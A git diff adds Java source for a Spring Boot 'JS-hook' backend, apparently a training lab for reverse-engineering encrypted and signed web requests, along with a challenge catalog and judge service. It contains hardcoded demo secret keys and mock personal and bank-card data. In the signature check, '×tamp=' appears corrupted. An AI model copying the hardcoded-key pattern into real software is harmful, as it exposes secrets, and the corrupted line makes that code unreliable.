data.get("companyName"), + "contactPerson", data.get("contactPerson"), + "budget", data.get("budget"), + "urgency", data.get("urgency"), + "industry", data.get("industry") + ), + "processingInfo", mapOf( + "hexDataLength", hexBody.length(), + "encryptedDataLength", new String(CryptoJsCompat.fromHex(hexBody), StandardCharsets.UTF_8).length(), + "originalDataSize", MAPPER.writeValueAsString(data).length() + ) + )); + } catch (Exception ex) { + return ResponseEntity.badRequest().body(error("请求体处理失败", "details", ex.getMessage())); + } + } + + @GetMapping(value = "/api/secure-query/{type}", produces = MediaType.TEXT_PLAIN_VALUE) + public ResponseEntity secureQuery(@PathVariable("type") String type) { + Map data = secureQueryData().get(type); + if (data == null) { + return ResponseEntity.status(HttpStatus.NOT_FOUND).body("not_found"); + } + String encrypted = CryptoJsCompat.encrypt(MAPPERValue(data), "hex-response-decrypt-2025"); + return ResponseEntity.ok(CryptoJsCompat.toHex(encrypted.getBytes(StandardCharsets.UTF_8))); + } + + @PostMapping(value = "/api/secure-operation", consumes = MediaType.TEXT_PLAIN_VALUE, produces = MediaType.TEXT_PLAIN_VALUE) + public ResponseEntity secureOperation(@RequestBody String hexBody) { + try { + Map data = decryptHexBody(hexBody, "bidirectional-hex-2025"); + Map response = mapOf( + "success", true, + "operationId", randomId("OP"), + "operation", data.get("operation"), + "status", "执行成功", + "executionTime", Instant.now().toString(), + "securityLevel", "TOP_SECRET", + "requestId", data.get("requestId"), + "details", secureOperationDetails(data) + ); + String encrypted = CryptoJsCompat.encrypt(MAPPERValue(response), "bidirectional-hex-2025"); + return ResponseEntity.ok(CryptoJsCompat.toHex(encrypted.getBytes(StandardCharsets.UTF_8))); + } catch (Exception ex) { + return ResponseEntity.badRequest().body(CryptoJsCompat.toHex(("error:" + ex.getMessage()).getBytes(StandardCharsets.UTF_8))); + } + } + + @PostMapping(value = "/api/protobuf", consumes = "application/x-protobuf", produces = "application/x-protobuf") + public ResponseEntity protobuf(@RequestBody byte[] payload) throws InvalidProtocolBufferException { + ApiRequest request = ApiRequest.parseFrom(payload); + ApiResponse.Builder response = ApiResponse.newBuilder() + .setRequestId(request.getRequestId()) + .setTimestamp(Instant.now().getEpochSecond()) + .setSuccess(true) + .setMessage("Protocol Buffers request handled successfully") + .setCode(200); + + switch (request.getOperation()) { + case "user": + if (request.hasUserInfo()) { + UserInfo user = request.getUserInfo(); + response.setUserInfo(user.toBuilder() + .putMetadata("user_id", randomId("USR")) + .putMetadata("created_at", Instant.now().toString()) + .putMetadata("status", "active") + .build()); + } + break; + case "product": + if (request.hasProductInfo()) { + ProductInfo product = request.getProductInfo(); + response.setProductInfo(product.toBuilder() + .putAttributes("product_id", randomId("PRD")) + .putAttributes("created_at", Instant.now().toString()) + .putAttributes("status", "available") + .build()); + } + break; + case "order": + if (request.hasOrderInfo()) { + OrderInfo order = request.getOrderInfo(); + response.setOrderInfo(order.toBuilder().setStatus("confirmed").setCreatedAt(Instant.now().getEpochSecond()).build()); + } + break; + default: + response.setSuccess(false).setCode(400).setMessage("Unsupported operation"); + } + return protobufResponse(response.build().toByteArray()); + } + + @GetMapping(value = "/api/protobuf-response", produces = "application/x-protobuf") + public ResponseEntity protobufResponseApi(@RequestParam("category") String category, @RequestParam("option") String option) { + long now = Instant.now().getEpochSecond(); + ReportData report = ReportData.newBuilder() + .setReportId(randomId("RPT")) + .setTitle(category + " " + option + " report") + .setDescription("Generated by Spring Boot JS-hook backend") + .addAllCharts(defaultCharts(option, now)) + .putAllSummaryMetrics(defaultSummaryMetrics(option)) + .setGeneratedAt(now) + .build(); + DataResponse response = DataResponse.newBuilder() + .setRequestId(randomId("REQ")) + .setTimestamp(now) + .setSuccess(true) + .setMessage(category + "-" + option + " data fetched successfully") + .setCode(200) + .setCategory(category) + .setOption(option) + .setReportData(report) + .build(); + return protobufResponse(response.toByteArray()); + } + + @PostMapping(value = "/api/bidirectional-protobuf", consumes = "application/x-protobuf", produces = "application/x-protobuf") + public ResponseEntity bidirectionalProtobuf(@RequestBody byte[] payload) throws InvalidProtocolBufferException { + ServiceRequest request = ServiceRequest.parseFrom(payload); + long now = Instant.now().getEpochSecond(); + ServiceResponse.Builder response = ServiceResponse.newBuilder() + .setRequestId(request.getRequestId()) + .setTimestamp(now) + .setSuccess(true) + .setServiceName(request.getServiceName()) + .setStatusCode(200); + + switch (request.getServiceName()) { + case "user-management": + if (request.hasUserRequest()) { + response.setUserResponse(UserResponse.newBuilder() + .setSuccess(true).setMessage("User operation succeeded") + .setUserId(request.getUserRequest().getUserId()).setName(request.getUserRequest().getName()) + .setEmail(request.getUserRequest().getEmail()).setRole(request.getUserRequest().getRole()) + .setStatus(request.getUserRequest().getStatus()).setCreatedAt(now).setUpdatedAt(now).build()); + } + break; + case "order-processing": + if (request.hasOrderRequest()) { + response.setOrderResponse(OrderResponse.newBuilder() + .setSuccess(true).setMessage("Order operation succeeded") + .setOrderId(request.getOrderRequest().getOrderId()).setCustomerId(request.getOrderRequest().getCustomerId()) + .setAmount(request.getOrderRequest().getAmount()).setPaymentMethod(request.getOrderRequest().getPaymentMethod()) + .setStatus("pending".equals(request.getOrderRequest().getStatus()) ? "processing" : request.getOrderRequest().getStatus()) + .setCreatedAt(now).setTrackingNumber(randomId("TRK")).build()); + } + break; + case "data-analytics": + if (request.hasAnalyticsRequest()) { + response.setAnalyticsResponse(AnalyticsResponse.newBuilder() + .setSuccess(true).setMessage("Analytics completed") + .setReportId(randomId("RPT")).setAnalyticsType(request.getAnalyticsRequest().getAnalyticsType()) + .putAllMetrics(defaultSummaryMetrics(request.getAnalyticsRequest().getAnalyticsType())) + .setDownloadUrl("https://reports.example.com/download/" + UUID.randomUUID().toString().replace("-", "")) + .setGeneratedAt(now).build()); + } + break; + case "notification": + if (request.hasNotificationRequest()) { + response.setNotificationResponse(NotificationResponse.newBuilder() + .setSuccess(true).setMessage("Notification sent") + .setNotificationId(randomId("NOT")).setStatus("sent").setSentAt(now).setDeliveryStatus("delivered").build()); + } + break; + default: + response.setSuccess(false).setStatusCode(400); + } + return protobufResponse(response.build().toByteArray()); + } + + @PostMapping("/api/header-sign") + public ResponseEntity headerSign( + @RequestBody Map body, + @RequestHeader(value = "X-Sign", required = false) String sign, + @RequestHeader(value = "X-Timestamp", required = false) String timestamp, + @RequestHeader(value = "X-Nonce", required = false) String nonce, + @RequestHeader(value = "X-Client-Id", required = false) String clientId + ) { + if (!StringUtils.hasText(sign) || !StringUtils.hasText(timestamp) || !StringUtils.hasText(nonce) || !StringUtils.hasText(clientId)) { + return ResponseEntity.badRequest().body(error("缺少必要的签名请求头")); + } + if (!verifyHeaderSignature(body, timestamp, nonce, sign, "your-secret-key-2025")) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body(error("签名验证失败", "signature_valid", false)); + } + Map response = mapOf( + "request_id", randomId("REQ"), + "timestamp", Instant.now().getEpochSecond(), + "signature_valid", true, + "api_type", body.get("api_type"), + "client_id", clientId + ); + String apiType = stringValue(body.get("api_type")); + if ("payment".equals(apiType)) { + response.put("payment_result", mapOf("status", "success", "transaction_id", randomId("TXN"), "amount", body.get("amount"), "payment_method", body.get("payment_method"), "fee", String.format("%.2f", doubleValue(body.get("amount")) * 0.006), "order_id", body.get("order_id"), "merchant_id", body.get("merchant_id"))); + } else if ("transfer".equals(apiType)) { + response.put("transfer_result", mapOf("status", "processing", "transfer_id", randomId("TRF"), "amount", body.get("amount"), "currency", body.get("currency"), "from_account", body.get("from_account"), "to_account", body.get("to_account"), "estimated_arrival", "2-24小时内到账")); + } else if ("sensitive".equals(apiType)) { + response.put("access_result", mapOf("status", "granted", "data_type", body.get("data_type"), "access_level", body.get("access_level"), "user_id", body.get("user_id"), "department", body.get("department"), "access_token", randomId("AT"), "expires_in", 3600)); + } else if ("admin".equals(apiType)) { + response.put("admin_result", mapOf("status", "authorized", "action", body.get("action"), "admin_level", body.get("admin_level"), "admin_id", body.get("admin_id"), "operation_id", randomId("OP"), "audit_log", "管理员执行操作已记录", "session_id", body.get("session_id"))); + } + return ResponseEntity.ok(response); + } + + @PostMapping("/api/response-header-cookie") + public ResponseEntity responseHeaderCookie(@RequestBody Map body) { + Map response = mapOf( + "session_id", randomId("SES"), + "timestamp", Instant.now().getEpochSecond(), + "authenticated", true, + "service_type", body.get("service_type"), + "client_ip", body.get("client_ip") + ); + Map cookieData = new LinkedHashMap(); + cookieData.put("user_id", randomId("USER")); + cookieData.put("session_token", randomId("TOKEN")); + cookieData.put("permission_level", "standard"); + cookieData.put("expires_at", Instant.now().getEpochSecond() + 86400); + cookieData.put("device_info", body.get("device_type")); + cookieData.put("last_activity", Instant.now().getEpochSecond()); + + String serviceType = stringValue(body.get("service_type")); + if ("login".equals(serviceType)) { + response.put("login_result", mapOf("status", "success", "user_id", cookieData.get("user_id"), "access_token", randomId("AT"), "token_type", "Bearer", "expires_in", 3600)); + cookieData.put("permission_level", "authenticated"); + cookieData.put("remember_me", body.get("remember")); + } else if ("oauth".equals(serviceType)) { + response.put("oauth_result", mapOf("status", "authorized", "provider", body.get("provider"), "access_token", randomId("OAT"), "scope", body.get("scope"), "user_info", "oauth_user")); + cookieData.put("permission_level", "oauth"); + } else if ("sso".equals(serviceType)) { + response.put("sso_result", mapOf("status", "authenticated", "provider", body.get("sso_provider"), "user_identifier", "domain\\user", "domain", body.get("domain"), "service_ticket", randomId("ST"))); + cookieData.put("permission_level", "sso"); + } else if ("refresh".equals(serviceType)) { + response.put("refresh_result", mapOf("status", "refreshed", "new_access_token", randomId("RAT"), "new_refresh_token", randomId("RRT"), "expires_in", expirySeconds(stringValue(body.get("expiry"))), "scope", body.get("scope"))); + cookieData.put("permission_level", "refreshed"); + } + HttpHeaders headers = new HttpHeaders(); + headers.add("X-Cookie", CryptoJsCompat.encrypt(MAPPERValue(cookieData), "cookie-secret-key-2025")); + headers.add("X-Session-Id", stringValue(response.get("session_id"))); + headers.add("X-Auth-Status", "success"); + headers.add("X-Service-Type", serviceType); + return new ResponseEntity(response, headers, HttpStatus.OK); + } + + @PostMapping("/api/interceptor-user-service") + public ResponseEntity interceptorUser(@RequestBody Map body) { + return interceptor("user-service", body); + } + + @PostMapping("/api/interceptor-order-service") + public ResponseEntity interceptorOrder(@RequestBody Map body) { + return interceptor("order-service", body); + } + + @PostMapping("/api/interceptor-payment-service") + public ResponseEntity interceptorPayment(@RequestBody Map body) { + return interceptor("payment-service", body); + } + + @PostMapping("/api/interceptor-inventory-service") + public ResponseEntity interceptorInventory(@RequestBody Map body) { + return interceptor("inventory-service", body); + } + + @PostMapping("/api/interceptor-analytics-service") + public ResponseEntity interceptorAnalytics(@RequestBody Map body) { + return interceptor("analytics-service", body); + } + + @PostMapping("/api/interceptor-notification-service") + public ResponseEntity interceptorNotification(@RequestBody Map body) { + return interceptor("notification-service", body); + } + + @GetMapping("/api/video-segment/{videoType}/{segmentId}") + public ResponseEntity videoSegment(@PathVariable("videoType") String videoType, @PathVariable("segmentId") int segmentId) { + Map config = videoConfigs().get(videoType); + if (config == null) { + return ResponseEntity.status(HttpStatus.NOT_FOUND).body(error("未知的视频类型")); + } + int segmentCount = intValue(config.get("segmentCount"), 0); + if (segmentId < 0 || segmentId >= segmentCount) { + return ResponseEntity.status(HttpStatus.NOT_FOUND).body(error("片段索引超出范围")); + } + try { + byte[] key = Arrays.copyOf(CryptoJsCompat.sha256Bytes(stringValue(config.get("encryptionKey"))), 16); + byte[] iv = new byte[16]; + RANDOM.nextBytes(iv); + Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); + cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key, "AES"), new IvParameterSpec(iv)); + byte[] encrypted = cipher.doFinal(generateVideoSegmentData(videoType, segmentId).getBytes(StandardCharsets.UTF_8)); + return ResponseEntity.ok(mapOf( + "video_type", videoType, + "segment_id", segmentId, + "segment_name", String.format("segment_%03d.ts", segmentId), + "encrypted_data", Base64.getEncoder().encodeToString(encrypted), + "iv", CryptoJsCompat.toHex(iv), + "encryption_method", "AES-128-CBC", + "segment_size", encrypted.length, + "duration", 30, + "timestamp", Instant.now().getEpochSecond(), + "content_type", "video/mp2t" + )); + } catch (Exception ex) { + return ResponseEntity.internalServerError().body(error("视频片段处理失败", "details", ex.getMessage())); + } + } + + @PostMapping("/api/video-segments/batch") + public ResponseEntity videoSegmentsBatch(@RequestBody Map body) { + String videoType = stringValue(body.get("video_type")); + List ids = body.get("segment_ids") instanceof List ? (List) body.get("segment_ids") : Collections.emptyList(); + List segments = new ArrayList(); + List errors = new ArrayList(); + for (Object id : ids) { + try { + int segmentId = intValue(id, -1); + ResponseEntity response = videoSegment(videoType, segmentId); + if (response.getStatusCode().is2xxSuccessful()) { + segments.add(response.getBody()); + } else { + errors.add(mapOf("segment_id", segmentId, "error", "segment failed")); + } + } catch (Exception ex) { + errors.add(mapOf("segment_id", id, "error", ex.getMessage())); + } + } + return ResponseEntity.ok(mapOf("video_type", videoType, "total_requested", ids.size(), "successful_segments", segments.size(), "failed_segments", errors.size(), "segments", segments, "errors", errors, "timestamp", Instant.now().getEpochSecond())); + } + + private ResponseEntity interceptor(String serviceName, Map body) { + if (!verifyInterceptorSignature(body, "interceptor-secret-key-2025")) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body(error("拦截器签名验证失败", "signature_valid", false)); + } + return ResponseEntity.ok(mapOf( + "request_id", randomId("REQ"), + "timestamp", Instant.now().getEpochSecond(), + "signature_valid", true, + "service_name", serviceName, + "interceptor_id", body.get("interceptor_id"), + "client_id", body.get("client_id"), + "service_result", interceptorResult(serviceName) + )); + } + + private boolean verifyHeaderSignature(Map body, String timestamp, String nonce, String signature, String secret) { + String paramString = body.keySet().stream().sorted().map(key -> key + "=" + stringValue(body.get(key))).collect(Collectors.joining("&")); + return CryptoJsCompat.hmacSha256Hex(paramString + "×tamp=" + timestamp + "&nonce=" + nonce + "&key=" + secret, secret).equals(signature); + } + + private boolean verifyInterceptorSignature(Map body, String secret) { + Map signData = new LinkedHashMap(body); + String sign = stringValue(signData.remove("sign")); + String paramString = signData.keySet().stream().sorted().map(key -> key + "=" + stringValue(signData.get(key))).collect(Collectors.joining("&")); + return CryptoJsCompat.md5Hex(paramString + "&key=" + secret).equals(sign); + } + + private Map decryptHexBody(String hexBody, String secret) throws Exception { + String encrypted = new String(CryptoJsCompat.fromHex(hexBody), StandardCharsets.UTF_8); + String json = CryptoJsCompat.decrypt(encrypted, secret); + return MAPPER.readValue(json, new TypeReference>() {}); + } + + private static ResponseEntity protobufResponse(byte[] payload) { + return ResponseEntity.ok().contentType(MediaType.parseMediaType("application/x-protobuf")).body(payload); + } + + private static Map item(int id, String name) { + return mapOf("id", id, "name", name); + } + + private static Map user(String username, String password, String name) { + Map user = new LinkedHashMap(); + user.put("username", username); + user.put("password", password); + user.put("name", name); + return user; + } + + private static Map error(String message, Object... extra) { + Map map = new LinkedHashMap(); + map.put("error", message); + for (int i = 0; i + 1 < extra.length; i += 2) { + map.put(String.valueOf(extra[i]), extra[i + 1]); + } + return map; + } + + private static Map mapOf(Object... pairs) { + Map map = new LinkedHashMap(); + for (int i = 0; i + 1 < pairs.length; i += 2) { + map.put(String.valueOf(pairs[i]), pairs[i + 1]); + } + return map; + } + + private static String randomId(String prefix) { + return prefix + UUID.randomUUID().toString().replace("-", "").substring(0, 12).toUpperCase(); + } + + private static String randomFrom(List values) { + return values.get(RANDOM.nextInt(values.size())); + } + + private static String stringValue(Object value) { + return value == null ? "" : String.valueOf(value); + } + + private static int intValue(Object value, int defaultValue) { + try { + return value == null ? defaultValue : (int) Math.round(Double.parseDouble(String.valueOf(value))); + } catch (Exception ex) { + return defaultValue; + } + } + + private static double doubleValue(Object value) { + try { + return value == null ? 0D : Double.parseDouble(String.valueOf(value)); + } catch (Exception ex) { + return 0D; + } + } + + private static String MAPPERValue(Object value) { + try { + return MAPPER.writeValueAsString(value); + } catch (Exception ex) { + throw new IllegalStateException(ex); + } + } + + private static List> defaultProducts() { + return Arrays.asList( + mapOf("id", 1, "name", "iPhone", "price", 6999, "category", "electronics"), + mapOf("id", 2, "name", "Android Phone", "price", 4999, "category", "electronics"), + mapOf("id", 3, "name", "Budget Phone", "price", 2999, "category", "electronics"), + mapOf("id", 4, "name", "T-Shirt", "price", 199, "category", "clothing"), + mapOf("id", 5, "name", "Jeans", "price", 299, "category", "clothing"), + mapOf("id", 6, "name", "JavaScript Book", "price", 89, "category", "books"), + mapOf("id", 7, "name", "Vue Guide", "price", 79, "category", "books"), + mapOf("id", 8, "name", "Desk Lamp", "price", 299, "category", "home"), + mapOf("id", 9, "name", "Bluetooth Speaker", "price", 399, "category", "electronics"), + mapOf("id", 10, "name", "Running Shoes", "price", 599, "category", "clothing") + ); + } + + private static Map> userDetailsData() { + Map> users = new LinkedHashMap>(); + users.put("1001", mapOf("id", 1001, "name", "Alice", "email", "alice@company.com", "department", "engineering", "phone", "13800138001", "idCard", "110101199001011001", "bankCard", "6222021234567890001", "address", "Beijing Example Road 123", "createdAt", "2023-01-15T08:30:00Z", "lastLogin", "2025-01-31T10:15:00Z", "status", "active")); + users.put("1002", mapOf("id", 1002, "name", "Bob", "email", "bob@company.com", "department", "marketing", "phone", "13800138002", "idCard", "110101199002022002", "bankCard", "6222021234567890002", "address", "Shanghai Example Road 456", "createdAt", "2023-02-20T09:45:00Z", "lastLogin", "2025-01-31T09:30:00Z", "status", "active")); + users.put("1003", mapOf("id", 1003, "name", "Carol", "email", "carol@company.com", "department", "finance", "phone", "13800138003", "idCard", "110101199003033003", "bankCard", "6222021234567890003", "address", "Guangzhou Example Avenue 789", "createdAt", "2023-03-10T14:20:00Z", "lastLogin", "2025-01-30T16:45:00Z", "status", "active")); + users.put("1004", mapOf("id", 1004, "name", "Dave", "email", "dave@company.com", "department", "hr", "phone", "13800138004", "idCard", "110101199004044004", "bankCard", "6222021234567890004", "address", "Shenzhen Science Park 101", "createdAt", "2023-04-05T11:10:00Z", "lastLogin", "2025-01-29T14:20:00Z", "status", "active")); + return users; + } + + private static Map> secureQueryData() { + Map> data = new LinkedHashMap>(); + data.put("financial", mapOf("type", "financial", "reportType", "annual_report", "period", "2024", "revenue", 15680000, "profit", 3420000, "assets", 45600000, "liabilities", 12300000, "timestamp", Instant.now().toString(), "securityLevel", "confidential")); + data.put("employee", mapOf("type", "employee", "name", "Ethan", "employeeId", "EMP001234", "department", "engineering", "position", "senior_engineer", "salary", 25000, "bonus", 50000, "socialSecurity", "paid", "timestamp", Instant.now().toString(), "securityLevel", "confidential")); + data.put("customer", mapOf("type", "customer", "companyName", "Tech Innovation Group", "customerId", "CUST789012", "contactPerson", "Wang", "phone", "13800138000", "email", "wang@techgroup.com", "annualRevenue", 8900000, "creditRating", "AAA", "timestamp", Instant.now().toString(), "securityLevel", "confidential")); + data.put("project", mapOf("type", "project", "projectName", "Smart Data Platform", "projectId", "PROJ456789", "manager", "Manager Zhang", "budget", 5600000, "spent", 3200000, "progress", 68, "startDate", "2024-01-15", "expectedEnd", "2025-06-30", "timestamp", Instant.now().toString(), "securityLevel", "confidential")); + return data; + } + + private static Map secureOperationDetails(Map data) { + String operation = stringValue(data.get("operation")); + if ("transfer".equals(operation)) { + return mapOf("amount", data.get("amount"), "fee", Math.round(doubleValue(data.get("amount")) * 0.001), "transactionId", randomId("TXN"), "fromAccount", data.get("fromAccount"), "toAccount", data.get("toAccount"), "currency", data.get("currency"), "estimatedArrival", "2-24h"); + } + if ("contract".equals(operation)) { + return mapOf("contractNumber", randomId("CON"), "signatureStatus", "signed", "legalStatus", "effective", "digitalSignature", "SHA256:" + UUID.randomUUID().toString().replace("-", "").substring(0, 16), "contractValue", data.get("value"), "effectiveDate", LocalDate.now().toString()); + } + if ("audit".equals(operation)) { + return mapOf("reportId", randomId("AUD"), "issuesFound", 1 + RANDOM.nextInt(5), "riskLevel", randomFrom(Arrays.asList("low", "medium", "high")), "auditScore", 80 + RANDOM.nextInt(20), "recommendations", "Strengthen password policy and access control", "nextAuditDate", LocalDate.now().plusDays(90).toString()); + } + if ("backup".equals(operation)) { + return mapOf("backupId", randomId("BAK"), "backupSize", String.format("%.2f GB", 50 + (RANDOM.nextDouble() * 100)), "integrityCheck", "passed", "compressionRatio", String.format("%.2f", 0.6 + (RANDOM.nextDouble() * 0.3)), "estimatedRestoreTime", (30 + RANDOM.nextInt(60)) + " minutes", "storageLocation", "cloud".equals(stringValue(data.get("location"))) ? "cloud" : "local"); + } + return mapOf("message", "operation processed"); + } + + private static List defaultCharts(String option, long now) { + List charts = new ArrayList(); + ChartData.Builder builder = ChartData.newBuilder().setChartType("line").setTitle(option + " chart"); + for (int i = 0; i < 7; i++) { + builder.addDataPoints(DataPoint.newBuilder().setLabel("P" + (i + 1)).setValue(100 + RANDOM.nextInt(500)).setUnit("count").setTimestamp(now - ((6 - i) * 86400)).build()); + } + builder.putMetadata("period", "7d"); + charts.add(builder.build()); + return charts; + } + + private static Map defaultSummaryMetrics(String option) { + Map metrics = new LinkedHashMap(); + metrics.put(option + "_score", 80D + RANDOM.nextDouble() * 20D); + metrics.put(option + "_growth", RANDOM.nextDouble() * 30D); + metrics.put(option + "_coverage", 60D + RANDOM.nextDouble() * 35D); + metrics.put(option + "_quality", 70D + RANDOM.nextDouble() * 25D); + return metrics; + } + + private static Map interceptorResult(String serviceName) { + if ("user-service".equals(serviceName)) { + return mapOf("status", "success", "user_count", 1000 + RANDOM.nextInt(10000), "active_users", 500 + RANDOM.nextInt(5000), "new_registrations", 10 + RANDOM.nextInt(100), "user_data", mapOf("total_users", 10000 + RANDOM.nextInt(50000), "premium_users", 1000 + RANDOM.nextInt(5000), "last_login_24h", 2000 + RANDOM.nextInt(8000))); + } + if ("order-service".equals(serviceName)) { + return mapOf("status", "success", "total_orders", 1000 + RANDOM.nextInt(5000), "pending_orders", 50 + RANDOM.nextInt(200), "completed_orders", 800 + RANDOM.nextInt(4000), "order_data", mapOf("daily_orders", 100 + RANDOM.nextInt(500), "average_value", String.format("%.2f", 100 + RANDOM.nextDouble() * 500), "top_category", randomFrom(Arrays.asList("electronics", "clothing", "food", "books")))); + } + if ("payment-service".equals(serviceName)) { + return mapOf("status", "success", "total_transactions", 2000 + RANDOM.nextInt(8000), "successful_payments", 1900 + RANDOM.nextInt(7500), "failed_payments", 10 + RANDOM.nextInt(100), "payment_data", mapOf("total_amount", String.format("%.2f", 100000 + RANDOM.nextDouble() * 1000000), "average_transaction", String.format("%.2f", 50 + RANDOM.nextDouble() * 200), "payment_methods", mapOf("credit_card", 30 + RANDOM.nextInt(40), "alipay", 25 + RANDOM.nextInt(30), "wechat_pay", 20 + RANDOM.nextInt(25)))); + } + if ("inventory-service".equals(serviceName)) { + return mapOf("status", "success", "total_products", 500 + RANDOM.nextInt(2000), "in_stock", 400 + RANDOM.nextInt(1800), "out_of_stock", 10 + RANDOM.nextInt(50), "inventory_data", mapOf("total_value", String.format("%.2f", 1000000 + RANDOM.nextDouble() * 5000000), "low_stock_alerts", 5 + RANDOM.nextInt(20), "categories", 20 + RANDOM.nextInt(50), "warehouses", 3 + RANDOM.nextInt(10))); + } + if ("analytics-service".equals(serviceName)) { + return mapOf("status", "success", "reports_generated", 20 + RANDOM.nextInt(100), "data_points", 100000 + RANDOM.nextInt(1000000), "processing_time", String.format("%.2f", 1 + RANDOM.nextDouble() * 5), "analytics_data", mapOf("conversion_rate", String.format("%.2f", 5 + RANDOM.nextDouble() * 10), "bounce_rate", String.format("%.2f", 20 + RANDOM.nextDouble() * 30), "avg_session_duration", String.valueOf(120 + RANDOM.nextInt(300)), "top_pages", randomFrom(Arrays.asList("home", "product", "cart", "checkout")))); + } + return mapOf("status", "success", "messages_sent", 1000 + RANDOM.nextInt(5000), "delivery_rate", String.format("%.2f", 90 + RANDOM.nextDouble() * 10), "failed_deliveries", 5 + RANDOM.nextInt(50), "notification_data", mapOf("email_sent", 500 + RANDOM.nextInt(2000), "sms_sent", 200 + RANDOM.nextInt(1000), "push_sent", 800 + RANDOM.nextInt(3000), "channels", Arrays.asList("email", "sms", "push", "webhook"))); + } + + private static int expirySeconds(String expiry) { + if ("24h".equals(expiry)) { + return 86400; + } + if ("7d".equals(expiry)) { + return 604800; + } + if ("30d".equals(expiry)) { + return 2592000; + } + return 3600; + } + + private static Map> videoConfigs() { + Map> configs = new LinkedHashMap>(); + configs.put("movie-action", mapOf("encryptionKey", "movie-action-key-2025", "segmentCount", 240)); + configs.put("series-drama", mapOf("encryptionKey", "series-drama-key-2025", "segmentCount", 90)); + configs.put("documentary", mapOf("encryptionKey", "documentary-key-2025", "segmentCount", 180)); + configs.put("live-stream", mapOf("encryptionKey", "live-stream-key-2025", "segmentCount", 20)); + return configs; + } + + private static String generateVideoSegmentData(String videoType, int segmentIndex) { + return MAPPERValue(mapOf( + "header", "TS_PACKET_HEADER", + "video_data", "VIDEO_SEGMENT_" + videoType.toUpperCase() + "_" + segmentIndex + "_" + UUID.randomUUID().toString().substring(0, 8), + "audio_data", "AUDIO_" + segmentIndex, + "metadata", mapOf("segment_index", segmentIndex, "timestamp", Instant.now().getEpochSecond(), "duration", 30, "video_codec", "H.264", "audio_codec", "AAC"), + "footer", "TS_PACKET_FOOTER" + )); + } +} diff --git a/JS-hook/src/main/java/com/myapp/jshook/LabCatalogController.java b/JS-hook/src/main/java/com/myapp/jshook/LabCatalogController.java new file mode 100644 index 0000000..20bdb1e --- /dev/null +++ b/JS-hook/src/main/java/com/myapp/jshook/LabCatalogController.java @@ -0,0 +1,103 @@ +package com.myapp.jshook; + +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@RequestMapping("/api/catalog") +public class LabCatalogController { + private final LabCatalogService labCatalogService; + + public LabCatalogController(LabCatalogService labCatalogService) { + this.labCatalogService = labCatalogService; + } + + @GetMapping("/overview") + public Map overview() { + return labCatalogService.getOverview(); + } + + @GetMapping("/challenges") + public List> challenges( + @RequestParam(value = "trackKey", required = false) String trackKey, + @RequestParam(value = "difficulty", required = false) String difficulty, + @RequestParam(value = "mode", required = false) String mode + ) { + return labCatalogService.listChallenges(trackKey, difficulty, mode); + } + + @GetMapping("/challenges/{challengeId}") + public ResponseEntity challenge(@PathVariable("challengeId") String challengeId) { + Map item = labCatalogService.getChallenge(challengeId); + if (item.isEmpty()) { + return ResponseEntity.status(HttpStatus.NOT_FOUND).body(error("challenge not found", challengeId)); + } + return ResponseEntity.ok(item); + } + + @PostMapping("/sync") + public Map sync() { + int count = labCatalogService.syncChallengesFromJson(); + Map result = new LinkedHashMap(); + result.put("success", true); + result.put("synced", count); + return result; + } + + @PostMapping("/sync-rules") + public Map syncRules() { + int count = labCatalogService.syncJudgeRulesFromJson(); + Map result = new LinkedHashMap(); + result.put("success", true); + result.put("syncedRules", count); + return result; + } + + @PostMapping("/submissions") + public ResponseEntity createSubmission(@RequestBody Map body) { + try { + return ResponseEntity.ok(labCatalogService.saveSubmission(body)); + } catch (IllegalArgumentException ex) { + return ResponseEntity.badRequest().body(error(ex.getMessage(), body.get("challengeId"))); + } + } + + @PostMapping("/judge") + public ResponseEntity judge(@RequestBody Map body) { + try { + return ResponseEntity.ok(labCatalogService.judgeSubmission(body)); + } catch (IllegalArgumentException ex) { + return ResponseEntity.badRequest().body(error(ex.getMessage(), body.get("challengeId"))); + } + } + + @GetMapping("/submissions") + public List> submissions( + @RequestParam(value = "challengeId", required = false) String challengeId + ) { + return labCatalogService.listSubmissions(challengeId); + } + + @GetMapping("/rules") + public List> rules() { + return labCatalogService.listJudgeRules(); + } + + private Map error(String message, Object detail) { + Map result = new LinkedHashMap(); + result.put("success", false); + result.put("message", message); + result.put("detail", detail); + return result; + } +} diff --git a/JS-hook/src/main/java/com/myapp/jshook/LabCatalogService.java b/JS-hook/src/main/java/com/myapp/jshook/LabCatalogService.java new file mode 100644 index 0000000..62cfcf4 --- /dev/null +++ b/JS-hook/src/main/java/com/myapp/jshook/LabCatalogService.java @@ -0,0 +1,419 @@ +package com.myapp.jshook; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import java.io.IOException; +import java.io.InputStream; +import java.time.Instant; +import java.util.ArrayList; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; +import javax.annotation.PostConstruct; +import org.springframework.core.io.ClassPathResource; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.jdbc.core.RowMapper; +import org.springframework.stereotype.Service; + +@Service +public class LabCatalogService { + private static final ObjectMapper MAPPER = new ObjectMapper(); + + private final JdbcTemplate jdbcTemplate; + + private final RowMapper> challengeMapper = (rs, rowNum) -> { + Map item = new LinkedHashMap(); + item.put("id", rs.getString("id")); + item.put("href", rs.getString("href")); + item.put("title", rs.getString("title")); + item.put("difficulty", rs.getString("difficulty")); + item.put("topic", rs.getString("topic")); + item.put("trackKey", rs.getString("track_key")); + item.put("mode", rs.getString("mode")); + item.put("source", rs.getString("source")); + item.put("summary", rs.getString("summary")); + item.put("sort", rs.getInt("sort_order")); + item.put("enabled", rs.getInt("enabled") == 1); + item.put("updatedAt", rs.getString("updated_at")); + return item; + }; + + private final RowMapper> submissionMapper = (rs, rowNum) -> { + Map item = new LinkedHashMap(); + item.put("submissionId", rs.getLong("submission_id")); + item.put("challengeId", 